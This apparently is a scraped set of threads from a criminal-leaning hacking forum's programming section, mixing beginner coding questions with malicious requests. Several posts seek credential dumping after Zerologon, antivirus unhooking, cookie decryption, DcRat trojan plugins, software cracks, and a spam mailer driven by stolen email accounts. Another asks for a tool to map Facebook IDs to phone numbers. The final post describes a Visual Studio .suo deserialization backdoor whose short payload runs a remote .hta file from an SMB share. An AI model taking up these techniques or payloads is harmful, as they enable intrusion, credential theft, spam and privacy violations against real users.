Я собираюсь разобрать каждый из этих вопросов, так как это наиболее распространенные вопросы, которые мне задают, или варианты этих вопросов.

Итак, начнем с первого вопроса.

КАКОЙ ЯЗЫК ПРОГРАММИРОВАНИЯ ЛУЧШЕ ИЗУЧАТЬ?

Краткий ответ: ЛУЧШЕ ЯЗЫКА НЕТ!!!
Я объясню, что каждый язык был разработан первоначальным создателем для выполнения определенного набора требований, которые требовались в то время, или для улучшения рабочего процесса, производительности или простоты разработки.
Вот несколько примеров для каждого из них.

Мой первый пример языка/инструмента, который отвечает потребностям улучшения рабочего процесса, — это группа языков запросов MYSQL/SQL/POSTGRES, хотя большинство из них обычно не классифицируют их как язык программирования, они позволяют проводить прогроматический анализ данных, поэтому в мое мнение, что это правильно )) они были разработаны, чтобы иметь возможность выполнять и запрашивать большие наборы данных с иногда очень узкими параметрами поиска, но быть максимально эффективными для улучшения рабочего процесса приложений управления данными.

таблицу sql и простой пример запроса можно посмотреть здесь http://sqlfiddle.com/#!9/fc9e55/1/0

Мой второй пример — это язык программирования, обеспечивающий повышение производительности, то есть C, потому что насколько он близок к языку ассемблера по сравнению с интерпретируемым языком, таким как Python, процесс компиляции кода C в сборку намного быстрее, потому что это всего на 1 шаг выше, в то время как Python должен Сначала он преобразуется из высокоуровневого, удобочитаемого исходного кода Python в интерпретируемый байт-код/микрокод Python, который по своей природе похож на язык ассемблера, затем он передается в виртуальную машину стека CPython, которая устраняет разрыв и в основном преобразует Python в C-эквивалент, а затем в сборку. как вы можете легко видеть, это требует гораздо больше шагов, чем преобразование C в Assembly.

Последний пример можно легко продолжить с предыдущего, так как он хорошо связан, поэтому для простоты разработки примера вернитесь к python, потому что это один из самых популярных языков для начинающих разработчиков программного обеспечения из-за синтаксиса. , любой, кто уже знаком с python, поймет, о чем я говорю, python — это то, что считается языком программирования высокого уровня, потому что исходный код относительно прост и легок для чтения человеком по сравнению с чем-то вроде C, который может не сделать много смысла для тех, кто видит его впервые, однако из-за природы синтаксиса Python тот, кто совершенно не знаком с программированием, вероятно, может прочитать его и понять на очень базовом уровне без особых предварительных знаний.

пример первой программы на любом языке, hello world.(python)

![www.learnpython.org](/proxy.php?image=https%3A%2F%2Fwww.learnpython.org%2Fstatic%2Fimg%2Fshare- logos%2Flearnpython.org.png&hash=82af56d209932ba79ef028098dc2ad55&return_error=1)

[ Hello, World! - Learn Python - Free Interactive Python Tutorial

](https://www.learnpython.org/en/Hello%2C_World%21)

learnpython.org is a free interactive Python tutorial for people who want to learn Python, fast.

www.learnpython.org www.learnpython.org

пример первой программы на любом языке, привет мир.(С) https://www.geeksforgeeks.org/c-hello-world-program/

Я предоставил ссылки на 2 веб-сайта, которые демонстрируют простой код hello world для C и Python, оба содержат много другой полезной информации о каждом языке, если вы хотите узнать больше об этих языках.

Итак, для следующего вопроса, заданного в начале этого.

КАКОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ СОЗДАВАТЬ?

Это легкая часть.)
Начните с чего-нибудь небольшого, возможно, попробуйте автоматизировать повторяющуюся задачу, которая раздражает. Это решит несколько проблем и поставит небольшую, но достижимую цель, которая послужит мотивацией для создания более крупного и сложного проекта.

Я обнаружил, что этот метод обучения обеспечивает хороший баланс, предоставляя небольшие достижимые цели, которые дают мне импульс и уверенность, необходимые для перехода к более крупным и сложным проектам.
Как и все, что люди учатся по-разному, так что это может быть не лучший метод для ваших нужд, но я обнаружил, что попытки ускорить процесс только замедляют меня и приводят к тому, что неработающий код раздражает больше времени.

Еще один важный момент, который я не могу выразить достаточно (из личного опыта))), проверяйте свой код во время работы.
Я потратил бессчетное количество часов на написание кода, не запуская его и не тестируя на ходу, что снова привело к большому разочарованию, но, в конце концов, дало мне очень ценный навык.

Я надеюсь, что мое объяснение некоторых из этих тематических областей послужит основой для следующего поколения участников форума, интересующихся программированием и разработкой программного обеспечения, а некоторые советы и опыт, которые я нашел, помогли мне узнать больше.

Закрытие примера вопроса № 3 с самого начала,
КАК СДЕЛАТЬ КРЫСУ? )))

перейти к объяснению номер 1 и учиться, прогрессировать, строить.
ничего не приходит к тем, кто не хочет учиться

secretsdump powershell
ID: 6765d804b4103b69df375798
Thread ID: 97683
Created: 2023-09-09T12:21:01+0000
Last Post: 2023-09-09T12:21:01+0000
Author: stomp
Replies: 0 Views: 217

nashel vot takoi script na ps: [https://github.com/BC- SECURITY/Empi...le_source/credentials/Invoke- SharpSecDump.ps1](https://github.com/BC- SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke- SharpSecDump.ps1)
on po idee dolzhen snimat' creds s DC probitim zerologon, no chego to y menya ne vihodit...
mozhet est' kto im pol'zovalsya i znaet kak ego pravil'no ispol'zovat'?

C++ Programming For Beginners- From Beginner to Beyond
ID: 6765d804b4103b69df3757bd
Thread ID: 93467
Created: 2023-07-20T08:19:52+0000
Last Post: 2023-08-01T21:51:40+0000
Author: redrooom
Replies: 1 Views: 217

Source

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)

[ 7.56 GB folder on MEGA

](https://mega.nz/folder/mHojiKDQ#3Elcoz07kRO_wHNsqGSSyg)

634 files and 22 subfolders

mega.nz mega.nz

C++
ID: 6765d804b4103b69df3758d8
Thread ID: 65091
Created: 2022-04-01T09:28:21+0000
Last Post: 2022-04-01T18:44:02+0000
Author: CppSen
Replies: 2 Views: 217

Всем привет, я учу С++ уже около полтора года, но мне нет 18 что бы официально устроиться (Часто это важно) + я в другой стране, та и почти везде при устройтве требуют миниммум год комерческой разбработки.

Мне посоветовали найти какой-то стартап и присоедениться к нему.
И возникли вопросы

- Где найти подходящий?
- Какой подойдёт для новичка?
- На стартапе требуют больше?

(Так же хотелось бы послушать историю С++ разработчиков если тут такие есть, о ихнем начале, о стартапах, какие задачи дают человеку без комерческого опыта, и чем вы занимались, сложно ли было)

[Ищу софт] Visual Assist 2420 Crack
ID: 6765d804b4103b69df37594f
Thread ID: 58723
Created: 2021-11-10T18:53:36+0000
Last Post: 2021-11-10T18:53:36+0000
Author: PlebsoVata
Replies: 0 Views: 217

P.S. Visual Assist — плагин для Visual Studio.
Ищу Visual Assist X 2420 Crack, если у кого есть ссылка, буду благодарен,
Нашел кейген, но он без патчера: https://github.com/DoubleLabyrinth/VisualAssist-keygen-demo
Нашел китайский сайт, но на нем рега по инвайту: https://www.chinapyg.com/thread-74596-1-1.html

REQUEST - The C# Player's Guide (4th Edition)
ID: 6765d804b4103b69df37593d
Thread ID: 59409
Created: 2021-11-27T19:44:39+0000
Last Post: 2021-11-29T16:33:21+0000
Author: fghz111
Replies: 1 Views: 216

Скиньте пожалуйста книгу, если есть

winapi - c++ - unhooking
ID: 6765d804b4103b69df37587a
Thread ID: 74774
Created: 2022-10-27T14:53:59+0000
Last Post: 2022-10-27T14:53:59+0000
Author: JohnVaughn
Replies: 0 Views: 215

heya guys,

i'm looking for some unhooking help for av bypass/stealth on winapi c++:

- i have checked https://github.com/jthuraisamy/SysWhispers2 but not quite sure how to compile the asm stuff on ms buildtools cli (not using visual studio)
- tried this "ired.team" template but didn't see any results. added the code to an infinite loop.

[ https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a- dll-using-c++ ](https://www.ired.team/offensive-security/defense-evasion/how- to-unhook-a-dll-using-c++)

- how to unhook wininet.dll ?
- any other methods/material?

thankss

Skype spambot
ID: 6765d804b4103b69df375929
Thread ID: 60120
Created: 2021-12-16T08:45:07+0000
Last Post: 2021-12-21T23:23:21+0000
Author: simpleme201
Replies: 1 Views: 215

Am interested in a coding expert for a skype spam bot
1.bots search for user
2. send message to users

Hide String c#
ID: 6765d804b4103b69df3757e0
Thread ID: 88830
Created: 2023-05-24T23:03:59+0000
Last Post: 2023-05-25T07:24:08+0000
Author: PR_O
Replies: 1 Views: 214

Hide String c#

Can you explain the idea ?

Capturvve.PNG

C#:Copy to clipboard

using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using Microsoft.VisualBasic;
using System.Text.RegularExpressions;
using System.Runtime.CompilerServices;
using Microsoft.VisualBasic.CompilerServices;

namespace Hide_String
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            MessageBox.Show(De(" ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎ ‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎"));
        }

        public string De(string H0)
        {
            string H = null;
            int H2 = 0;
            int H3 = H0.Length;
            int arg_13_0 = 0;
            int num = H3;
            int H4 = arg_13_0;
            checked
            {
                while (true)
                {
                    int arg_14C_0 = H4;
                    int num2 = num;
                    if (arg_14C_0 > num2)
                    {
                        break;
                    }
                    string H5 = H0.ToString();
                    int H6 = Strings.Len(H5);
                    bool flag = H6 != 0;
                    if (!flag)
                    {
                        break;
                    }
                    string H7 = H0.ToString();
                    string E0 = " ";
                    Regex H8 = new Regex(E0);
                    MatchCollection H9 = H8.Matches(H7);
                    string B8 = H7.Split(new char[]
            {
                ' '
            })[Conversions.ToInteger(H9.Count.ToString())];
                    string B9 = H0.ToString();
                    string B10 = Conversions.ToString(B9.LastIndexOf(" "));
                    H0 = B9.Remove(Conversions.ToInteger(B10));
                    int B11 = H2;
                    while (true)
                    {
                        int arg_134_0 = B11;
                        num2 = 256;
                        if (arg_134_0 > num2)
                        {
                            break;
                        }
                        try
                        {
                            string B12 = Strings.StrDup(B11, '‎');
                            flag = (Operators.CompareString(B8, B12, false) == 0);
                            if (flag)
                            {
                                char B13 = '\0';
                                B13 = Strings.Chr(Strings.Asc(B13) + B11);
                                H += Conversions.ToString(B13);
                                B8 = null;
                            }
                        }
                        catch (Exception expr_109)
                        {
                            Console.WriteLine(expr_109);
                            break;
                        }
                        B11++;
                    }
                    H4++;
                }
                int B14 = H.Length - 2;
                string B15 = null;
                int B16 = B14;
                while (true)
                {
                    int arg_19B_0 = B16;
                    int num2 = 0;
                    if (arg_19B_0 < num2)
                    {
                        break;
                    }
                    try
                    {
                        string B17 = Conversions.ToString(H[B16]);
                        B15 += B17;
                    }
                    catch (Exception expr_17C)
                    {
                        Console.WriteLine(expr_17C);
                    }
                    B16 += -1;
                }
                return B15;
            }
        }
    }
}
[C#] Сервер для получения и считывания данных.
ID: 6765d804b4103b69df3757fb
Thread ID: 85626
Created: 2023-04-10T17:37:23+0000
Last Post: 2023-04-10T19:19:50+0000
Author: Volk_v_Shkure
Replies: 1 Views: 214

Доброго времени суток! Говорю сразу, я новичок в этой теме.

Может кто-то подскажет, ссылки или напрямую кодом, каким способом можно организовать сервер на который можно будет отправлять файлы, а так же скачивать их, или же просто получать информацию?
Заранее спасибо.

Browser-based IDE
ID: 6765d804b4103b69df375807
Thread ID: 84457
Created: 2023-03-24T23:16:10+0000
Last Post: 2023-03-31T17:11:51+0000
Author: DimmuBurgor
Replies: 3 Views: 214

Are there any good IDE's that support winforms editing for 4.4 or newer?

Чекер логов
ID: 6765d804b4103b69df3758ab
Thread ID: 69956
Created: 2022-07-11T15:46:03+0000
Last Post: 2022-07-11T17:02:32+0000
Author: Coachella
Replies: 3 Views: 213

Доброго времени суток.
Кто ни будь скиньте пожалуйста чекер логов. Нужно что бы чекер искал нужные линки в логах.
Возможно здесь на форуме уже выкладывали подобное?

Помогите решить задачу по с++
ID: 6765d804b4103b69df375912
Thread ID: 61857
Created: 2022-01-23T16:17:55+0000
Last Post: 2022-01-24T16:38:32+0000
Author: ERO7404
Replies: 2 Views: 213

Вот мой пример решения - вроде все правильно, но почему то когда в доллары перевожу в Visual Studio компилятор следом подтягивает значение else что Eror... Вобщем помогите кому не лень буду благодарен! Спасибо!

Написать программу, которая переводит введенную сумму гривен в указанную валюту (пользователь может ввести $, S, s или E, e – это тоже считается правильным). Если пользователь введет не правильные данные, то сразу выдается информация об ошибке и программа останавливается. Ниже приведен рекомендуемый вид экрана во время работы программы. Введите количество гривен -> 1000 Введите валюту перевода($ или Е): S Результат: _______

C++:Copy to clipboard

#include <iostream>

using namespace std;

int main()   // Exercise 1
{
const double USD = 26.5, EURO = 30;
    double GRN;
    char valuta = ' ';
    double sum_USD;
    double sum_EURO;

    cout << "Enter the number of grivna ->  ";
    cin >> GRN;
    cout << "Entrer your currency of the transfer ($, S, s or E, e) ->  ";
    cin >> valuta;
    if (valuta == '$' || valuta == 'S' || valuta == 's')
        {
        sum_USD = GRN / USD;
        cout << "Your result: " << sum_USD;
        }
    if (valuta == 'E' || valuta == 'e')
        {
            sum_EURO = GRN / EURO;
            cout << "Your result:  " << sum_EURO;
        }
    else
    {
        cout << "Eror! You entered incorrect data!";
    }

    return 0;
}
Как можно расшифровать куки файлы Mozilla FireFox на С++?
ID: 6765d804b4103b69df3757cf
Thread ID: 92040
Created: 2023-07-04T09:12:02+0000
Last Post: 2023-07-04T13:04:07+0000
Author: pikachu883
Replies: 1 Views: 211

Хотелось бы узнать как это сделать...

C++/dll/кодировка
ID: 6765d804b4103b69df3757e6
Thread ID: 88217
Created: 2023-05-17T16:52:37+0000
Last Post: 2023-05-17T16:52:37+0000
Author: xcore
Replies: 0 Views: 211

Хай.
Подскажите товарищи кодеры, собираю простенькую исполняемую dll, с функцией выполнения команды в cmd получения результата и его обработки,
проблема заключается в том, что после выполнения резальтат возращается иероглифами, то есть проблема с кодировкой.
запускаю dll так: rundll32 myproject.dll,main

Но если я тот же код собираю для exe, то все четко работает.

Плиз расжуйте мне в чем проблема.

Для наглядности

Code:Copy to clipboard

#define EXPORT extern "C" __declspec(dllexport)

EXPORT void main(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    exec("ipconfig > C:\\1.txt");
    exec("chcp 65001 & ipconfig > C:\\65001.txt");
    exec("chcp 1251 & ipconfig > C:\\1251.txt");
    exec("chcp 866 & ipconfig > C:\\866.txt");
    exec("chcp 1250 & ipconfig > C:\\1250.txt");
    exec("chcp 1252 & ipconfig > C:\\1252.txt");
    std::string g = exec("ipconfig"); // тоже но-ворк(
}

std::string exec(const char* cmd) {

    //system("chcp 65001 > nul");

    char buffer[128];
    std::string result = "";
    FILE* pipe = _popen(cmd, "r");
    if (!pipe) throw std::runtime_error("popen() failed!");
    try {
        while (fgets(buffer, sizeof buffer, pipe) != NULL) {
            result += buffer;
        }
    }
    catch (...) {
        _pclose(pipe);
        throw;
    }
    _pclose(pipe);
    return result;
}
Is there a tool to convert fb uid to mobile number?
ID: 6765d804b4103b69df37572b
Thread ID: 110853
Created: 2024-03-20T01:37:44+0000
Last Post: 2024-03-20T01:37:44+0000
Author: mskvn
Replies: 0 Views: 208

Is there a tool to convert fb uid to mobile number?

I need to convert US fb uid. into a mobile phone number, or India, South Korea, etc.

If you have this tool, or a tool to collect fb uid, you can contact me and I will give you a reward.
tg @msk12888

[С#] Ренейминг PE секций
ID: 6765d804b4103b69df3758fc
Thread ID: 63041
Created: 2022-02-16T07:04:15+0000
Last Post: 2022-02-16T07:30:27+0000
Author: awaken1337
Replies: 1 Views: 208

Как переименовать секцию у PE? На С#

Recommendations for a good intermediate C++ book
ID: 6765d804b4103b69df375935
Thread ID: 59601
Created: 2021-12-02T19:56:00+0000
Last Post: 2021-12-05T21:54:05+0000
Author: Panam 87
Replies: 1 Views: 207

Dear forum members,

I'm looking for recommendations on a good intermediate level C++ book.
I've read many that I liked (e.g. The C++ Complete Reference by Kyle Loudon) but I'd like something a little bit more advanced.
What are your go-to books/references to sharpen your C++ skills?

Thanks,

C++ Discord OAuth2 [help]
ID: 6765d804b4103b69df3757ab
Thread ID: 95952
Created: 2023-08-18T06:47:07+0000
Last Post: 2023-08-18T09:54:15+0000
Author: uglydavidka
Replies: 1 Views: 206

Всем здравствуйте, решил сделать авторизацию пользователя discord в своём приложении discord, но не нашел никаких репозиториев для реализации этого на плюсах.
Почитал док discord https://discord.com/developers/docs/topics/oauth2 (noad), но не понял даже последовательности действий.

Имплементация RSA
ID: 6765d804b4103b69df3757b6
Thread ID: 95191
Created: 2023-08-08T18:42:54+0000
Last Post: 2023-08-10T10:25:21+0000
Author: coree
Replies: 3 Views: 205

Может кто поделиться своей tiny-реализацией шифрования RSA на C/C++? Отблагодарю копеечкой

[C#] файл вроде копируется на флешку, но не отображается там
ID: 6765d804b4103b69df3758f3
Thread ID: 63422
Created: 2022-02-23T21:34:43+0000
Last Post: 2022-02-24T08:46:55+0000
Author: Ags1of
Replies: 2 Views: 205

C#:Copy to clipboard

        public static void USBSearcher()
        {
            Console.Write("Add Path: ");
            string PATH = Console.ReadLine();
            
            while (true)
            {
                Thread.Sleep(2000);
                foreach (var dInfo in DriveInfo.GetDrives())
                {
                    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
                    {
                        Console.WriteLine(dInfo);
                        string USBPath = dInfo.ToString();
                        try
                        {
                            string outFile = Path.Combine(dInfo.RootDirectory.ToString(), PATH);
                            File.Move(PATH, outFile);
                            Console.WriteLine("Yes");
                        }
                        catch
                        {
                            Console.WriteLine("No");
                        }
                        
                    }
                    else
                    {
                        Console.WriteLine("No");
                        continue;
                    }
                }

            }

        }
вопрос по байтам
ID: 6765d804b4103b69df375968
Thread ID: 56951
Created: 2021-09-22T09:54:11+0000
Last Post: 2021-09-22T10:35:16+0000
Author: blackteam007
Replies: 3 Views: 204

Ребятки такая проблемка есть файлик текстовик в нем шеллкод вес у данного файла ( 180кб ) в ручную считать колличество байтов очень муторно при таких колличествах байтов подскажите как проще посчитать общее колличество байтов в данном текстовике пробывал прописал значение исходя из размера файла
180 кб = 184320 байт вписываю это число не помогает пишет неверное значение
пробелов в файле нету
прописано вот так ( 0x5c,0x78,...............)

Написать пару плагинов (RAT С#)
ID: 6765d804b4103b69df3758ff
Thread ID: 62970
Created: 2022-02-14T18:36:49+0000
Last Post: 2022-02-14T18:36:49+0000
Author: ZL3FH9
Replies: 0 Views: 203

Излагаю всю суть, я не ищу людей которые хотят сделать что-то за деньги.
Но если вам интересно написать пару плагинов от помощи не отказался бы.
Сам проект - https://github.com/qwqdanchun/DcRat
Пример плагина - https://github.com/qwqdanchun/DcRat/tree/main/Plugin/Discord
Отправка с помощью msg pack
Если тронуло отпишите в ПМ или мой телеграм - ZL3FH9

Ищу программистов, нужны email-регеры и рассылщики!
ID: 6765d804b4103b69df37575e
Thread ID: 104390
Created: 2023-12-20T14:48:22+0000
Last Post: 2023-12-20T15:04:56+0000
Author: sergey-uk
Replies: 5 Views: 202

Здравствуйте, ищу разработчика, не обходимо автоматизировать email рассылки через пост и гет (ни каких smtp и упрощенных версии) приветствуется только польная версия и на запросах, будем автоматизировать такие сервисы как mail.ru yandex.ru rambler.ru gmail.com aol.com gmx.com и других. На ринке уже существуют готовые решия по 50-150$ но не на всех есть то что мне надо, поэтому хочу разработать свои рассыльщики и может и куплю исходник. Оплата только через гарант этого форума!

Spoiler: ТЗ

У нас есть аккаунты в формате логин:пароль:доп.почта, запускаем например на 10 потоков и софт берет первый 10 строк и начнет авторизоваться, если проходим авторизацию то аккаунт запишем в файл где будут все аккаунты которые прошли авторизацию и дале работаем с ним.

**ПО НАСТРОЙАМ!

-Выбираем путь к проксями** (на выбор) то есть будет галочка, используем проси или нет, в случае не коннекта дождемся секунд 10 например и пробуем еще раз потому что прокси будут меняться раз в 2-3 минуты.

-Выбираем путь к файлу с акантами и настройки для аккаунта такие как сколько всего с одного аккаунта отправит, сколько за раз отправить (в поле кому) и пауза между отправками от и до в секундах. И получается что если я выбираю 150 с аккаунта и за раз 10 получателей указать то мы получается 15 раз создаем новый письмо.

-Выбираем путь к файлу с базы , если указать что за раз отправим на 15 получателей то берем первый 15 строк и в поле кому вставим, если по каким то причинам не уходят то запишем их в конца списка и попытаемся еще раз, всегда при не удачной отправки вернем базы обратно в файл откуда взяли и сформируем еще раз письмо.

-Использовать темы если стоит галочка то путь к файлу и каждый раз берем новый строки и так во кругу, если нет галочки то темы пропускаем и отправим без них.

-Письмо будем использовать тексты такие как спитакс в виде {Здравствуйте|Приветствую|Добрый день} тут скорее всего придется указать путь к папку и в папке будут много файлов в файлах будут тексты спиетаксами, при сформирование письмо берем случайны файл и сформируем письмо.

-HTML хотелось бы конечно чтобы было возможность отправлять html письмо, если все таки сделаем это то нужно будет сделать в настройки выбор, отправлять текстовый письмо или html, в случае html то указываем путь к папку с html файлами и случайно берем и примеряем.

-Ссылки выбираем путь к файлу и ссылки в письмо применяются только в том случае если письмо содержит слову LINK, это будет наш макрос, если сформировали письмо например " привет как дела? LINK и вот тут вместо линк поставим ссылку из файла.

-Использовать вложения тут надо будет сделать тоже галочка, если стоит галочка то указываем путь к папку где находится PDF файлы, если данная функция включена то по одной PDF случайно из папки выбираем и отправляем.

ОТПРАВКА

Нажимаем Новое сообщение, в поле кому из файла базы берем количества получателей которой указан в настройки, тема если используем, текст (письмо) какой выбрать и файл если тоже включили отправку файлов.

Перед отправкой хотелось бы еще на выборе включит такой функцию как заменит Имя отправителя, имя меняется в настройки

ну и по работе с аккаунтами, удаляем из списка аккы которой не авторизовались и когда в списке либо аккаунты либо базы когда заканчиваются останавливаем рассылщик, все ресурсы будут работать вокругу только с аккаунты и базы с удалением, вроде все)

[C#]DataBase
ID: 6765d804b4103b69df3758e8
Thread ID: 64151
Created: 2022-03-11T22:37:02+0000
Last Post: 2022-03-13T00:39:11+0000
Author: Ags1of
Replies: 3 Views: 201

Мне нужно реализовать поиск по бд. Допустим, у меня есть одно значение, и по нему должна проходить фильтрация в бд, может быть несколько полей, в которых будет такое значение, надо будет вывести все поля. Но также может быть вариант, что будет заполнено несколько полей или все, и тоже надо будет сделать фильтрацию и вывести все поля с этими значениями. Как можно это сделать?

1647038085771.pngвот фото, где один параметр известен

1647038113678.pngвсе параметры известны

1647038139901.pngнекоторые параметры известны

1647038161548.pngи вот пример самой базы
ВСЕ ДАННЫЕ БУДУТ ВВОДИТЬСЯ С КЛАВИАТУРЫ. ПЕРЕМЕННЫЕ СЛУЖАТ ДЛЯ ТОГО, ЧТОБЫ БЫЛО ЛЕГЧЕ РАЗОБРАТЬ КОД.

Пожалуйста, дай мнеИсходный код подделки IP-заголовка Windows, Linux и IP-обман
ID: 6765d804b4103b69df37580c
Thread ID: 84670
Created: 2023-03-28T08:16:49+0000
Last Post: 2023-03-28T14:14:19+0000
Author: bit57
Replies: 2 Views: 199

莱德

Вопросик про билдер
ID: 6765d804b4103b69df3757b0
Thread ID: 95664
Created: 2023-08-14T14:28:39+0000
Last Post: 2023-08-14T14:59:26+0000
Author: D4nte
Replies: 1 Views: 196

Приветствую знатоков, скажу что я не силен в программировании и возможно для некоторых это покажется абсурдом но у меня возник вопрос.
К примеру есть проект назовем его "PRHELLO" и в проекте дохуища файлов .cs и в одном из них есть строка переменная wordPrint с значением "PUT YOUR TEXT" при компиляции программы и запуске выдает именно тот текст
который был в строке, задача которую я хочу сделать это в c# набросить простой билдер и форму строки где я введу любой текст и этот текст будет заменен в проекте PRHELLO ну что-то вроде билдера, вопрос ультиматум в этой ветке я хочу задать это "как создать билдер" проблема в том что я не ебу как проект PRHELLO с дохуищими .cs файлами заменить одну строку введенную в билдере за тем его скомпилировать весь в один файл.
Если вы посчитате абсурдом, то пожалуйста дайте некий-совет в начинании.

Thanks for watching.

Help please. NET deserialisation vuln in VsToolboxService. Payload size limited to 11.
ID: 6765d804b4103b69df37577c
Thread ID: 100918
Created: 2023-10-25T12:53:46+0000
Last Post: 2023-10-25T12:53:46+0000
Author: no1
Replies: 0 Views: 195

Recently I saw an interesting article and POC on github about backdooring visual studios projets. (https://github.com/cjm00n/EvilSln)

I liked it because there is no build events or other classical techniques that can be spotted by reading .sln
I will not re explain all the details of the vulns here, feel free to read the article.

I and a friend analized the POC and the package's code and figured out that BinaryFormatter is beeing used and TypeConfuseDelegate as gadget.
We are able to take the stream from the .suo's VsToolboxService, keeping existing buggy bytes headers and replace the serialized object by ours and it executes but only if the size of the payload is exactly the same as the original one.
for exemple "cmd /c calc" is the command wrapped in original payload, "taskmgr.exe" is also 11 and works too but taskmgr alone doesnt work. We tried a lot of payloads and te only way to RCE we found in 11 chars is :
HH \\qw.p\x
qw.p beeing a public smbshare and x beeing a valid .hta file containing longer payload.
